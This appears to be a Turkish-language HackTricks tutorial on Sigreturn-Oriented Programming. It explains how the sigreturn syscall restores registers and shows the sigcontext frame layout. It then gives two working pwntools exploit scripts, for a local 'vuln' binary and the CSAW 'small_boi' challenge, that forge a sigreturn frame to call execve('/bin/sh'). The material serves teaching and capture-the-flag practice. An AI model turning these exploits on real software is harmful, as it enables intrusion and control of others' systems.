SROP - Sigreturn-Oriented Programming

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Sigreturn, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir syscall'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir sinyal işleyici kullanır.

Sinyal işleyici tamamlandıktan sonra, programın önceki durumuna devam etmesi gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada sigreturn devreye girer. Programın sinyal işleyicisinden dönmesine yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler.

İlginç olan, sigreturn'ın programın durumunu nasıl geri yüklediğidir: tüm CPU'nun kayıt değerlerini yığında saklayarak bunu yapar. Sinyal artık engellenmediğinde, sigreturn bu değerleri yığından çıkarır, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir.

caution

Bir ROP zincirinden sigreturn syscall'ını çağırmak ve yüklemek istediğimiz kayıt değerlerini yığına eklemek, tüm kayıt değerlerini kontrol etmemizi ve dolayısıyla örneğin execve syscall'ını /bin/sh ile çağırmamızı mümkün kılar.

Bu durumun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir Ret2syscall türü olduğunu unutmayın:

Ret2syscall

Eğer merak ediyorsanız, bu daha sonra değerleri geri almak için yığında saklanan sigcontext yapısıdır (şeması buradan):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Daha iyi bir açıklama için ayrıca kontrol edin:

- YouTube

Örnek

Burada bir örnek bulabilirsiniz burada signeturn çağrısının ROP aracılığıyla oluşturulduğu (rxa'ya 0xf değeri koyarak) gösterilmektedir, ancak buradan itibaren son istismar budur:

python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Ayrıca buradan istismar edin kontrol edin, burada ikili dosya zaten sigreturn çağrıyordu ve bu nedenle ROP ile bunu inşa etmek gerekmez:

python
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Diğer Örnekler ve Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin